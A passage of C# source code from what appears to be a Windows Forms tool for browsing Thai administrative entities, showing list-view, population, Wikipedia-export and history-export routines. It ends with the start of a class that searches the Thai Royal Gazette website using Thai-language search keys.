var gazetteConstituency = GlobalData.AllGazetteAnnouncements.AllGazetteEntries.Where(x => x.GazetteOperations().Any(y => y is GazetteConstituency)).ToList();
var latestConstituencyGazettes = new List<(Entity Entity, GazetteEntry Gazette)>();
var laoWithoutConstituency = new List<Entity>();
foreach (var lao in localGovernmentsInEntity)
{
var gazette = gazetteConstituency.Where(x => x.GazetteOperations().Any(y => y is GazetteConstituency && (y.IsAboutGeocode(lao.geocode, false) || (lao.tambonSpecified && y.IsAboutGeocode(lao.tambon, false))))).OrderBy(x => x.publication);
if (gazette.Any())
{
latestConstituencyGazettes.Add((lao, gazette.Last()));
}
else if (lao.type != EntityType.TAO)
{
laoWithoutConstituency.Add(lao);
}
}
var latestConstituencyGazettesSorted = latestConstituencyGazettes.OrderBy(x => x.Gazette.publication);
foreach (var item in latestConstituencyGazettesSorted)
{
result += String.Format(CultureInfo.CurrentUICulture, "{0} ({1}): {2:yyyy}", item.Entity.english, item.Entity.geocode, item.Gazette.publication) + Environment.NewLine;
}
if (laoWithoutConstituency.Any())
{
result += Environment.NewLine + "No constituency:" + Environment.NewLine;
foreach (var item in laoWithoutConstituency)
{
result += String.Format(CultureInfo.CurrentUICulture, "{0} ({1})", item.english, item.geocode) + Environment.NewLine;
}
}
txtConstituency.Text = result;
}
private IEnumerable<Entity> TambonWithInvalidMubanNumber(IEnumerable<Entity> allTambon)
{
var result = new List<Entity>();
foreach (var tambon in allTambon.Where(x => x.type == EntityType.Tambon))
{
if (!tambon.MubanNumberConsistent())
{
result.Add(tambon);
}
}
return result;
}
private String EntitySubDivisionCount(Entity entity)
{
var counted = entity.CountAllSubdivisions(_localGovernments);
var noLocation = entity.CountSubdivisionsWithoutLocation(_localGovernments);
var result = String.Empty;
foreach (var keyvaluepair in counted)
{
if (noLocation.TryGetValue(keyvaluepair.Key, out Int32 noLocationCount))
{
result += String.Format("{0}: {1} ({2} without location)", keyvaluepair.Key, keyvaluepair.Value, noLocationCount) + Environment.NewLine;
}
else
{
result += String.Format("{0}: {1}", keyvaluepair.Key, keyvaluepair.Value) + Environment.NewLine;
}
}
return result;
}
private void EntityToCentralAdministrativeListView(Entity entity)
{
listviewCentralAdministration.BeginUpdate();
listviewCentralAdministration.Items.Clear();
foreach (Entity subEntity in entity.entity.Where(x => !x.IsObsolete && !x.type.IsLocalGovernment()))
{
ListViewItem item = listviewCentralAdministration.Items.Add(subEntity.english);
item.Tag = subEntity;
item.SubItems.Add(subEntity.name);
item.SubItems.Add(subEntity.geocode.ToString(CultureInfo.CurrentUICulture));
AddPopulationToItems(subEntity, item);
AddCreationDateToItems(entity, subEntity, item);
}
listviewCentralAdministration.EndUpdate();
}
private void AddPopulationToItems(Entity subEntity, ListViewItem item)
{
var populationData = subEntity.population.FirstOrDefault(x => x.Year == PopulationReferenceYear && x.source == PopulationDataSource);
if (populationData != null && populationData.TotalPopulation != null)
{
item.SubItems.Add(populationData.TotalPopulation.total.ToString(CultureInfo.CurrentUICulture));
}
else
{
item.SubItems.Add(String.Empty);
}
}
private void AddCreationDateToItems(Entity entity, Entity subEntity, ListViewItem item)
{
if (subEntity.history.Items.FirstOrDefault(x => x is HistoryCreate) is HistoryCreate creationHistory)
{
item.SubItems.Add(creationHistory.effective.ToString("yyyy-MM-dd", CultureInfo.CurrentUICulture));
}
else
{
creationHistory = GazetteCreationHistory(subEntity);
if (creationHistory != null)
{
item.SubItems.Add("(" + creationHistory.effective.ToString("yyyy-MM-dd", CultureInfo.CurrentUICulture) + ")");
}
else
{
item.SubItems.Add(String.Empty);
}
}
}
private HistoryCreate GazetteCreationHistory(Entity subEntity)
{
HistoryCreate creationHistory;
var histories = new HistoryList();
if (_creationHistories.Keys.Contains(subEntity.geocode))
{
histories.Items.AddRange(_creationHistories[subEntity.geocode].Items);
}
foreach (var oldGeocode in subEntity.OldGeocodes)
{
if (_creationHistories.Keys.Contains(oldGeocode))
{
histories.Items.AddRange(_creationHistories[oldGeocode].Items);
}
}
creationHistory = histories.Items.FirstOrDefault(x => x is HistoryCreate) as HistoryCreate;
return creationHistory;
}
private void EntityToLocalAdministrativeListView(Entity entity)
{
listviewLocalAdministration.BeginUpdate();
listviewLocalAdministration.Items.Clear();
var localGovernmentsInEntity = entity.LocalGovernmentEntitiesOf(_localGovernments).ToList();
foreach (Entity subEntity in localGovernmentsInEntity)
{
ListViewItem item = listviewLocalAdministration.Items.Add(subEntity.english);
item.Tag = subEntity;
item.SubItems.Add(subEntity.name);
item.SubItems.Add(subEntity.type.ToString());
if (subEntity.geocode > 9999)
{
// generated geocode
item.SubItems.Add(String.Empty);
}
else
{
item.SubItems.Add(subEntity.geocode.ToString(CultureInfo.CurrentUICulture));
}
String dolaCode = String.Empty;
var office = subEntity.office.FirstOrDefault(x => x.type == OfficeType.TAOOffice || x.type == OfficeType.PAOOffice || x.type == OfficeType.MunicipalityOffice);
if (office != null)
{
var dolaEntry = office.dola.Where(x => x.codeSpecified).OrderBy(y => y.year).LastOrDefault();
if (dolaEntry != null)
{
dolaCode = dolaEntry.code.ToString(CultureInfo.CurrentUICulture);
}
}
AddPopulationToItems(subEntity, item);
AddCreationDateToItems(entity, subEntity, item);
var currentOfficialTerm = office.officials.OfficialTerms.OrderByDescending(x => x.begin).FirstOrDefault();
item.SubItems.Add(currentOfficialTerm?.begin.ToString("yyyy-MM-dd") ?? String.Empty);
var currentCouncilTerm = office.council.CouncilTerms.OrderByDescending(x => x.begin).FirstOrDefault();
item.SubItems.Add(currentCouncilTerm?.begin.ToString("yyyy-MM-dd") ?? String.Empty);
item.SubItems.Add(dolaCode);
}
listviewLocalAdministration.EndUpdate();
}
private IEnumerable<GazetteEntry> AreaDefinitionAnnouncements(Entity entity)
{
var result = new List<GazetteEntry>();
if (entity.type != EntityType.Country)
{
var allAboutGeocode = GlobalData.AllGazetteAnnouncements.AllGazetteEntries.Where(x =>
x.IsAboutGeocode(entity.geocode, true) || entity.OldGeocodes.Any(y => x.IsAboutGeocode(y, true)));
var allAreaDefinitionAnnouncements = allAboutGeocode.Where(x => x.Items.Any(y => y is GazetteAreaDefinition));
foreach (var announcement in allAreaDefinitionAnnouncements)
{
var areaDefinitions = announcement.Items.Where(x => x is GazetteAreaDefinition);
if (areaDefinitions.Any(x => (x as GazetteAreaDefinition).IsAboutGeocode(entity.geocode, true) ||
entity.OldGeocodes.Any(y => (x as GazetteAreaDefinition).IsAboutGeocode(y, true))))
{
result.Add(announcement);
}
}
}
return result;
}
private void ShowPdf(GazetteEntry entry)
{
try
{
entry.MirrorToCache();
System.Diagnostics.Process p = new System.Diagnostics.Process();
// TODO
String pdfFilename = entry.LocalPdfFileName;
if (File.Exists(pdfFilename))
{
p.StartInfo.FileName = pdfFilename;
p.Start();
}
}
catch
{
// throw;
}
}
private void AmphoeToWikipedia(Language language)
{
var selectedNode = treeviewSelection.SelectedNode;
var entity = (Entity)(selectedNode.Tag);
if (entity.type.IsCompatibleEntityType(EntityType.Amphoe))
{
var exporter = new WikipediaExporter(_baseEntity, _localGovernments)
{
CheckWikiData = CheckWikiData,
PopulationReferenceYear = PopulationReferenceYear,
PopulationDataSource = PopulationDataSource
};
var text = exporter.AmphoeToWikipedia(entity, language);
CopyToClipboard(text);
}
}
private void CopyToClipboard(String text)
{
Boolean success = false;
while (!success)
{
try
{
Clipboard.Clear();
Clipboard.SetText(text);
success = true;
}
catch
{
if (MessageBox.Show(this, "Copying text to clipboard failed.", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Error) != DialogResult.Retry)
{
break;
}
}
}
}
private void ExportEntityHistory(Entity entity)
{
var histories = new HistoryList();
if (_creationHistories.Keys.Contains(entity.geocode))
{
histories.Items.AddRange(_creationHistories[entity.geocode].Items);
}
foreach (var oldGeocode in entity.OldGeocodes)
{
if (_creationHistories.Keys.Contains(oldGeocode))
{
histories.Items.AddRange(_creationHistories[oldGeocode].Items);
}
}
if (histories.Items.Any())
{
histories.Items.Sort((x, y) => y.effective.CompareTo(x.effective));
var historyXml = XmlManager.EntityToXml<HistoryList>(histories);
// EntityToXml adds a header with BOM, exports with a different name than used in the entity XMLs
historyXml = historyXml.Replace("HistoryList", "history");
var startPos = historyXml.IndexOf("<history");
historyXml = historyXml.Substring(startPos);
// remove namespace from history tag
startPos = historyXml.IndexOf(">") + 1;
historyXml = "<history>" + historyXml.Substring(startPos);
CopyToClipboard(historyXml);
}
}
private void CheckHistoryAvailable(ListView listview, ToolStripMenuItem menuItem)
{
var history = false;
if (listview.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listview.SelectedItems)
{
if (item.Tag is Entity entity)
{
history = _creationHistories.Keys.Contains(entity.geocode);
foreach (var oldGeocode in entity.OldGeocodes)
{
history |= _creationHistories.Keys.Contains(oldGeocode);
}
}
}
menuItem.Enabled = history;
}
}
/// <summary>
/// Gets the DLA web id of the local government unit corresponding to the selected item in the listview.
/// </summary>
/// <param name="listView">Listview to check.</param>
/// <returns>Web id, or 0 if no id was found.</returns>
private Int32 GetWebIdOfSelectedItem(ListView listView)
{
var webId = 0;
if (listView.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listView.SelectedItems)
{
if (item.Tag is Entity entity)
{
var office = entity.office.FirstOrDefault(x => x.webidSpecified);
if (office != null)
{
webId = office.webid;
}
}
}
}
return webId;
}
#endregion private methods
#region event handler
private void EntityBrowserForm_Load(object sender, EventArgs e)
{
_baseEntity = GlobalData.CompleteGeocodeList();
_baseEntity.CalcOldGeocodesRecursive();
_baseEntity.PropagatePostcodeRecursive();
_baseEntity.PropagateObsoleteToSubEntities();
_allEntities = _baseEntity.FlatList().Where(x => !x.IsObsolete).ToList();
var allLocalGovernmentParents = _allEntities.Where(x => x.type == EntityType.Tambon || x.type == EntityType.Changwat).ToList();
_localGovernments.AddRange(_allEntities.Where(x => x.type.IsLocalGovernment()));
foreach (var tambon in allLocalGovernmentParents)
{
var localGovernmentEntity = tambon.CreateLocalGovernmentDummyEntity();
if (localGovernmentEntity != null)
{
_localGovernments.Add(localGovernmentEntity);
_allEntities.Add(localGovernmentEntity);
}
}
using (var fileStream = new FileStream(GlobalData.BaseXMLDirectory + "\\DOLA web id.xml", FileMode.Open, FileAccess.Read))
{
var dolaWebIds = XmlManager.XmlToEntity<WebIdList>(fileStream, new XmlSerializer(typeof(WebIdList)));
var errors = string.Empty;
foreach (var entry in dolaWebIds.item)
{
var entity = _localGovernments.FirstOrDefault(x => x.geocode == entry.geocode || x.OldGeocodes.Contains(entry.geocode));
if (entity != null)
{
var office = entity.office.FirstOrDefault(x => x.type.IsLocalGovernmentOffice());
if (!office.webidSpecified)
{
office.webid = entry.id;
office.webidSpecified = true;
}
else
{
errors += String.Format("Duplicate webId {0}", entry.id) + Environment.NewLine;
}
}
else if (!entry.obsolete)
{
errors += String.Format("WebId {0} refers to invalid LAO {1}", entry.id, entry.geocode) + Environment.NewLine;
}
}
if (!String.IsNullOrEmpty(errors))
{
MessageBox.Show(errors, "WebId errors");
}
}
foreach (var file in Directory.EnumerateFiles(GlobalData.BaseXMLDirectory + "\\DOLA\\"))
{
using (var fileStream = new FileStream(file, FileMode.Open, FileAccess.Read))
{
var dolaData = XmlManager.XmlToEntity<Entity>(fileStream, new XmlSerializer(typeof(Entity)));
foreach (var sourceEntity in dolaData.FlatList())
{
var targetEntity = _localGovernments.FirstOrDefault(x => x.geocode == sourceEntity.geocode);
if (targetEntity != null)
{
var sourceOffice = sourceEntity.office.FirstOrDefault(x => x.type.IsLocalGovernmentOffice());
var targetOffice = targetEntity.office.FirstOrDefault(x => x.type.IsLocalGovernmentOffice());
if (sourceOffice != null && targetOffice != null)
{
targetOffice.dola.AddRange(sourceOffice.dola);
targetOffice.dola.Sort((x, y) => y.year.CompareTo(x.year));
}
targetEntity.area.area.AddRange(sourceEntity.area.area);
// targetEntity.area.area.Sort((x, y) => String.Compare(y.date,x.date));
targetEntity.entitycount.AddRange(sourceEntity.entitycount);
targetEntity.entitycount.Sort((x, y) => y.year.CompareTo(x.year));
}
}
}
}
var allTambon = _allEntities.Where(x => x.type == EntityType.Tambon).ToList();
foreach (var lao in _localGovernments)
{
lao.CalculatePostcodeForLocalAdministration(allTambon);
}
GlobalData.LoadPopulationData(PopulationDataSource, PopulationReferenceYear);
Entity.CalculateLocalGovernmentPopulation(_localGovernments, allTambon, PopulationDataSource, PopulationReferenceYear);
var allEntities = new List<Entity>();
allEntities.AddRange(_localGovernments);
allEntities.AddRange(_baseEntity.FlatList());
_creationHistories = ExtractHistoriesFromGazette(_baseEntity, allEntities.Distinct());
PopulationDataToTreeView();
}
private void treeviewSelection_AfterSelect(object sender, TreeViewEventArgs e)
{
var selectedNode = treeviewSelection.SelectedNode;
var entity = (Entity)(selectedNode.Tag);
EntityToCentralAdministrativeListView(entity);
EntityToLocalAdministrativeListView(entity);
SetInfo(entity);
CheckForErrors(entity);
CalcElectionData(entity);
CalcMubanData(entity);
CalcLocalGovernmentData(entity);
CalcLocalGovernmentConstituencies(entity);
mnuMubanDefinitions.Enabled = AreaDefinitionAnnouncements(entity).Any();
mnuWikipediaGerman.Enabled = entity.type.IsCompatibleEntityType(EntityType.Amphoe);
mnuWikipediaEnglish.Enabled = mnuWikipediaGerman.Enabled;
mnuHistory.Enabled = _creationHistories.Keys.Contains(entity.geocode) || entity.OldGeocodes.Any(x => _creationHistories.Keys.Contains(x));
mnuWikipediaTambonEnglish.Enabled = entity.type.IsCompatibleEntityType(EntityType.Tambon);
}
private void mnuMubanDefinitions_Click(Object sender, EventArgs e)
{
var selectedNode = treeviewSelection.SelectedNode;
var entity = (Entity)(selectedNode.Tag);
foreach (var entry in AreaDefinitionAnnouncements(entity))
{
ShowPdf(entry);
}
}
private void mnuWikipediaTambonEnglish_Click(Object sender, EventArgs e)
{
var selectedNode = treeviewSelection.SelectedNode;
var entity = (Entity)(selectedNode.Tag);
if (entity.type.IsCompatibleEntityType(EntityType.Tambon))
{
var exporter = new WikipediaExporter(_baseEntity, _localGovernments)
{
CheckWikiData = CheckWikiData,
PopulationReferenceYear = PopulationReferenceYear,
PopulationDataSource = PopulationDataSource
};
var text = exporter.TambonArticle(entity, Language.English);
CopyToClipboard(text);
}
}
private void mnuWikipediaGerman_Click(Object sender, EventArgs e)
{
AmphoeToWikipedia(Language.German);
}
private void mnuWikipediaEnglish_Click(Object sender, EventArgs e)
{
AmphoeToWikipedia(Language.English);
}
private void treeviewSelection_MouseUp(Object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
// Select the clicked node
treeviewSelection.SelectedNode = treeviewSelection.GetNodeAt(e.X, e.Y);
if (treeviewSelection.SelectedNode != null)
{
popupTree.Show(treeviewSelection, e.Location);
}
}
}
private void popupListviewLocal_Opening(Object sender, CancelEventArgs e)
{
CheckHistoryAvailable(listviewLocalAdministration, mnuHistoryLocal);
var hasWebId = false;
var hasWikidata = false;
var hasWebsite = false;
var hasLocation = false;
if (listviewLocalAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewLocalAdministration.SelectedItems)
{
if (item.Tag is Entity entity)
{
hasWebId = entity.office.Any(x => x.webidSpecified);
hasWikidata = !String.IsNullOrEmpty(entity?.wiki?.wikidata);
hasWebsite = entity.office.First().url.Any();
hasLocation = entity.office.First().Point != null;
}
}
}
mnuGeneralInfoPage.Enabled = hasWebId;
mnuAdminInfoPage.Enabled = hasWebId;
mnuWikidataLocal.Enabled = hasWikidata;
mnuWebsite.Enabled = hasWebsite;
mnuLocation.Enabled = hasLocation;
}
private void popupListviewCentral_Opening(Object sender, CancelEventArgs e)
{
CheckHistoryAvailable(listviewCentralAdministration, mnuHistoryCentral);
var hasWikidata = false;
if (listviewCentralAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewCentralAdministration.SelectedItems)
{
if (item.Tag is Entity entity)
{
hasWikidata = !String.IsNullOrEmpty(entity?.wiki?.wikidata);
}
}
}
mnuWikidataCentral.Enabled = hasWikidata;
}
private void mnuAdminInfoPage_Click(Object sender, EventArgs e)
{
var webId = GetWebIdOfSelectedItem(listviewLocalAdministration);
if (webId > 0)
{
var url = String.Format(CultureInfo.CurrentUICulture, "http://www.dla.go.th/info/info_councilor.jsp?orgId={0}", webId);
Process.Start(url);
}
}
private void mnuGeneralInfoPage_Click(Object sender, EventArgs e)
{
var webId = GetWebIdOfSelectedItem(listviewLocalAdministration);
if (webId > 0)
{
var url = String.Format(CultureInfo.CurrentUICulture, "http://infov1.dla.go.th/public/surveyInfo.do?cmd=surveyForm&orgInfoId={0}", webId);
Process.Start(url);
}
}
private void mnuGoogleSearchLocal_Click(Object sender, EventArgs e)
{
if (listviewLocalAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewLocalAdministration.SelectedItems)
{
var entity = item.Tag as Entity;
var url = String.Format(CultureInfo.CurrentUICulture, "https://www.google.de/search?q={0}", entity.FullName);
Process.Start(url);
}
}
}
private void mnuWikidataLocal_Click(Object sender, EventArgs e)
{
if (listviewLocalAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewLocalAdministration.SelectedItems)
{
var entity = item.Tag as Entity;
if (!String.IsNullOrEmpty(entity?.wiki?.wikidata))
{
var url = String.Format(CultureInfo.CurrentUICulture, "https://www.wikidata.org/wiki/{0}", entity.wiki.wikidata);
Process.Start(url);
}
}
}
}
private void mnuHistory_Click(Object sender, EventArgs e)
{
var selectedNode = treeviewSelection.SelectedNode;
var entity = (Entity)(selectedNode.Tag);
ExportEntityHistory(entity);
}
private void mnuHistoryLocal_Click(Object sender, EventArgs e)
{
if (listviewLocalAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewLocalAdministration.SelectedItems)
{
var entity = item.Tag as Entity;
ExportEntityHistory(entity);
}
}
}
private void mnuHistoryCentral_Click(Object sender, EventArgs e)
{
if (listviewCentralAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewCentralAdministration.SelectedItems)
{
var entity = item.Tag as Entity;
ExportEntityHistory(entity);
}
}
}
private void mnuConstituency_Click(object sender, EventArgs e)
{
var selectedNode = treeviewSelection.SelectedNode;
var entity = (Entity)(selectedNode.Tag);
Int16 numberOfConstituencies = 350;
var result = ConstituencyCalculator.Calculate(entity.geocode, PopulationReferenceYear, numberOfConstituencies);
String displayResult = String.Empty;
foreach (KeyValuePair<Entity, Int32> entry in result)
{
Int32 votersPerSeat = 0;
if (entry.Value != 0)
{
votersPerSeat = entry.Key.GetPopulationDataPoint(PopulationDataSourceType.DOPA, PopulationReferenceYear).total / entry.Value;
}
displayResult = displayResult +
String.Format("{0} {1} ({2} per seat)", entry.Key.english, entry.Value, votersPerSeat) + Environment.NewLine;
}
new StringDisplayForm(String.Format("Constituencies {0}", PopulationReferenceYear), displayResult).Show();
}
private void mnuWebsite_Click(object sender, EventArgs e)
{
if (listviewLocalAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewLocalAdministration.SelectedItems)
{
var entity = item.Tag as Entity;
var urls = entity.office.First().url;
if (urls.Any())
{
Process.Start(urls.OrderByDescending(x => x.lastchecked).First().Value);
}
}
}
}
private void mnuLocation_Click(object sender, EventArgs e)
{
if (listviewLocalAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewLocalAdministration.SelectedItems)
{
var entity = item.Tag as Entity;
var location = entity.office.FirstOrDefault()?.Point;
if (location != null)
{
var url = String.Format(CultureInfo.CurrentUICulture, "https://maps.google.com/maps?ll={0},{1}&q={0},{1}&hl=en&t=m&z=15", location.lat, location.@long);
Process.Start(url);
}
}
}
}
private void mnuWikidataCentral_Click(Object sender, EventArgs e)
{
if (listviewCentralAdministration.SelectedItems.Count == 1)
{
foreach (ListViewItem item in listviewCentralAdministration.SelectedItems)
{
var entity = item.Tag as Entity;
if (!String.IsNullOrEmpty(entity?.wiki?.wikidata))
{
var url = String.Format(CultureInfo.CurrentUICulture, "https://www.wikidata.org/wiki/{0}", entity.wiki.wikidata);
Process.Start(url);
}
}
}
}
#endregion
private void listviewLocalAdministration_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e)
{
if (listviewLocalAdministration.SelectedItems.Count == 1)
{
var entity = listviewLocalAdministration.SelectedItems[0]?.Tag as Entity;
var office = entity?.office.FirstOrDefault();
txtLocalGovernment.Text = String.Empty;
if (office != null && !office.obsolete && office.type == OfficeType.TAOOffice)
{
var term = office.council.CouncilTerms.FirstOrDefault();
if (term != null && term.beginreason == TermBeginType.TermExtended)
{
term.end = new DateTime(2021, 11, 27);
term.endreason = TermEndType.EndOfTerm;
var newTermSize = Math.Max(6, term.size / 2);
String txt =
String.Format("<term begin=\"2021-11-28\" type=\"{0}\" size=\"{1}\" sizechangereason=\"Law\" />", term.type, newTermSize) + Environment.NewLine +
String.Format("<term begin=\"{0:yyyy-MM-dd}\" end=\"2021-11-27\" type=\"{1}\" size=\"{2}\" beginreason=\"TermExtended\" />", term.begin, term.type, term.size) + Environment.NewLine;
txtLocalGovernment.Text += txt;
}
var official = office.officials.OfficialTerms.FirstOrDefault() as OfficialEntry;
if (official != null && official.beginreason == OfficialBeginType.TermExtended)
{
official.end = new DateTime(2021, 11, 27);
official.endreason = OfficialEndType.EndOfTerm;
String txt =
"<officialterm title=\"TAOMayor\" begin=\"2021-11-28\" beginreason=\"ElectedDirectly\" />" + Environment.NewLine +
String.Format("<official title=\"{0}\" name=\"{1}\" begin=\"{2:yyyy-MM-dd}\" end=\"2021-11-27\" beginreason=\"TermExtended\" endreason=\"EndOfTerm\" />", official.title, official.name, official.begin) + Environment.NewLine;
txtLocalGovernment.Text += txt;
}
var vacancy = office.officials.OfficialTermsOrVacancies.FirstOrDefault() as OfficialVacancy;
if (vacancy != null)
{
vacancy.end = new DateTime(2021, 11, 27);
String txt =
"<officialterm title=\"TAOMayor\" begin=\"2021-11-28\" beginreason=\"ElectedDirectly\" />" + Environment.NewLine +
String.Format("<vacant title=\"{0}\" year=\"{1}\" end=\"2021-11-27\" />", vacancy.title, vacancy.year) + Environment.NewLine;
txtLocalGovernment.Text += txt;
}
if (!String.IsNullOrEmpty(txtLocalGovernment.Text))
{
CopyToClipboard(txtLocalGovernment.Text);
}
}
}
}
}
}<file_sep>/AHTambon/RoyalGazetteOnlineSearch.cs
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Web;
// Other interesting search string: เป็นเขตปฏิรูปที่ดิน (area of land reform) - contains maps with Tambon boundaries
namespace De.AHoerstemeier.Tambon
{
public class RoyalGazetteOnlineSearch
{
#region variables
private const String _searchFormUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/search.jsp";
private const String _searchPostUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/search_load_adv.jsp";
private const String _searchPageUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/search_page_load.jsp";
private const String _searchReferrer = "http://www.ratchakitcha.soc.go.th/RKJ/announce/search_adv.jsp";
private const String _baseUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/";
private const String _responseDataUrl = "parent.location.href=\"";
private const String _defaultCookie =
"/RKJ/announce/search.jsp=; " +
"/RKJ/announce/search_result.jsp=; " +
"/RKJ/announce/search.jspfirsttimeload=0; " +
"/RKJ/announce/search_result.jspfirsttimeload=0; " +
"_gat=1; " +
// "__cfduid=d6838f4fd0cd375e5b5fe547e918111831524126358; " +
"_ga=GA1.3.2080536661.1524126213; " +
"_gid=_gid=GA1.3.1741403628.1528882212";
/* private const String _defaultCookie =
"/RKJ/announce/search_result.jsp=sc1|; " +
"/RKJ/announce/search.jspfirsttimeload=0; " +
"/RKJ/announce/search.jsp=; " +
"/RKJ/announce/search_result.jspfirsttimeload=0; " +
"_ga=GA1.3.2080536661.1524126213; " +
"_gid=GA1.3.1570106343.1526028472; " +
"_gat=1; " +
"JSESSIONID=\"1234567890ABCDED0000000000000000\"";
*/
private String _cookie = _defaultCookie;
private String _dataUrl = String.Empty;
private String _searchKey = String.Empty;
private Int32 _volume = 0;
private Int32 _numberOfPages = 0;
#endregion variables
public event RoyalGazetteProcessingFinishedHandler ProcessingFinished;
#region consts
private static Dictionary<EntityModification, String> EntityModificationText = new Dictionary<EntityModification, String>
{
{EntityModification.Abolishment,"Abolish of {0}"},
{EntityModification.AreaChange,"Change of area of {0}"},
{EntityModification.Creation,"Creation of {0}"},
{EntityModification.Rename,"Rename of {0}"},
{EntityModification.StatusChange,"Change of status of {0}"},
{EntityModification.Constituency,"Constituencies of {0}"}
};
public static Dictionary<EntityModification, Dictionary<EntityType, String>> SearchKeys = new Dictionary<EntityModification, Dictionary<EntityType, String>>
{
{
EntityModification.Creation,new Dictionary<EntityType,String>
{
{EntityType.KingAmphoe, "ตั้งเป็นกิ่งอำเภอ"},
{EntityType.Amphoe,"ตั้งเป็นอำเภอ"},
{EntityType.Thesaban,"จัดตั้ง เป็นเทศบาล หรือ องค์การบริหารส่วนตำบลเป็นเทศบาล"},
{EntityType.Sukhaphiban,"จัดตั้งสุขาภิบาล"},
{EntityType.Tambon,"ตั้งและกำหนดเขตตำบล หรือ ตั้งตำบลในจังหวัด หรือ ตั้งและเปลี่ยนแปลงเขตตำบล"},
{EntityType.TAO,"ตั้งองค์การบริหารส่วนตำบล หรือ รวมสภาตำบลกับองค์การบริหารส่วนตำบล"},
{EntityType.Muban,"ตั้งหมู่บ้าน หรือ ตั้งและกำหนดเขตหมู่บ้าน หรือ ตั้งและกำหนดหมู่บ้าน"},
{EntityType.Phak,"การรวมจังหวัดยกขึ้นเป็นภาค"},
{EntityType.Khwaeng,"ตั้งแขวง"},
{EntityType.Khet,"ตั้งเขต กรุงเทพมหานคร"}
}
},
{
EntityModification.Abolishment,new Dictionary<EntityType,String>
{
{EntityType.KingAmphoe,"ยุบกิ่งอำเภอ"},
{EntityType.Amphoe,"ยุบอำเภอ"},
{EntityType.Sukhaphiban,"ยุบสุขาภิบาล"},
{EntityType.Tambon,"ยุบตำบล หรือ ยุบและเปลี่ยนแปลงเขตตำบล"},
{EntityType.TAO,"ยุบองค์การบริหารส่วนตำบล หรือ ยุบรวมองค์การบริหารส่วนตำบล หรือ รวมองค์การบริหารส่วนตำบลกับ"},
{EntityType.SaphaTambon,"ยุบรวมสภาตำบล"}
}
},
{
EntityModification.Rename,new Dictionary<EntityType,String>
{
{EntityType.Amphoe,"เปลี่ยนชื่ออำเภอ หรือ เปลี่ยนนามอำเภอ หรือ เปลี่ยนแปลงชื่ออำเภอ"},
{EntityType.KingAmphoe,"เปลี่ยนชื่อกิ่งอำเภอ หรือ เปลี่ยนนามกิ่งอำเภอ หรือ เปลี่ยนแปลงชื่อกิ่งอำเภอ"},
{EntityType.Sukhaphiban,"เปลี่ยนชื่อสุขาภิบาล หรือ เปลี่ยนนามสุขาภิบาล หรือ เปลี่ยนแปลงชื่อสุขาภิบาล"},
{EntityType.Thesaban,"เปลี่ยนชื่อเทศบาล หรือ เปลี่ยนนามเทศบาล หรือ เปลี่ยนแปลงชื่อเทศบาล"},
{EntityType.Tambon,"เปลี่ยนชื่อตำบล หรือ เปลี่ยนนามตำบล หรือ เปลี่ยนแปลงชื่อตำบล หรือ เปลี่ยนแปลงแก้ไขชื่อตำบล"},
{EntityType.TAO,"เปลี่ยนชื่อองค์การบริหารส่วนตำบล"},
{EntityType.Muban,"เปลี่ยนแปลงชื่อหมู่บ้าน"}
}
},
{
EntityModification.StatusChange,new Dictionary<EntityType,String>
{
{EntityType.Thesaban,"เปลี่ยนแปลงฐานะเทศบาล หรือ พระราชกฤษฎีกาจัดตั้งเทศบาล"},
{EntityType.KingAmphoe,"พระราชกฤษฎีกาตั้งอำเภอ หรือ พระราชกฤษฎีกาจัดตั้งอำเภอ"}
}
},
{
EntityModification.AreaChange,new Dictionary<EntityType,String>
{
{EntityType.Amphoe,"เปลี่ยนแปลงเขตอำเภอ หรือ เปลี่ยนแปลงเขตต์อำเภอ"},
{EntityType.KingAmphoe,"เปลี่ยนแปลงเขตกิ่งอำเภอ"},
{EntityType.Thesaban,"เปลี่ยนแปลงเขตเทศบาล หรือ การยุบรวมองค์การบริหารส่วนตำบลจันดีกับเทศบาล หรือ ยุบรวมสภาตำบลกับเทศบาล"},
{EntityType.Sukhaphiban,"เปลี่ยนแปลงเขตสุขาภิบาล"},
{EntityType.Changwat,"เปลี่ยนแปลงเขตจังหวัด"},
{EntityType.Tambon,"เปลี่ยนแปลงเขตตำบล หรือ กำหนดเขตตำบล หรือ เปลี่ยนแปลงเขตต์ตำบล หรือ ปรับปรุงเขตตำบล"},
{EntityType.TAO,"เปลี่ยนแปลงเขตองค์การบริหารส่วนตำบล"},
{EntityType.Khwaeng,"เปลี่ยนแปลงพื้นที่แขวง"},
{EntityType.Phak,"เปลี่ยนแปลงเขตภาค"},
{EntityType.Khet,"เปลี่ยนแปลงพื้นที่เขต กรุงเทพมหานคร"},
{EntityType.Muban,"เปลี่ยนแปลงเขต และ หมู่บ้าน"}
}
},
{
EntityModification.Constituency,new Dictionary<EntityType,String>
{
{EntityType.PAO,"แบ่งเขตเลือกตั้งสมาชิกสภาองค์การบริหารส่วนจังหวัด หรือ เปลี่ยนแปลงแก้ไขเขตเลือกตั้งสมาชิกสภาองค์การบริหารส่วนจังหวัด"},
{EntityType.Thesaban,"การแบ่งเขตเลือกตั้งสมาชิกสภาเทศบาล หรือ เปลี่ยนแปลงแก้ไขเขตเลือกตั้งสมาชิกสภาเทศบาล"}
}
}
};
public static Dictionary<EntityModification, Dictionary<ProtectedAreaTypes, String>> SearchKeysProtectedAreas = new Dictionary<EntityModification, Dictionary<ProtectedAreaTypes, String>>
{
{
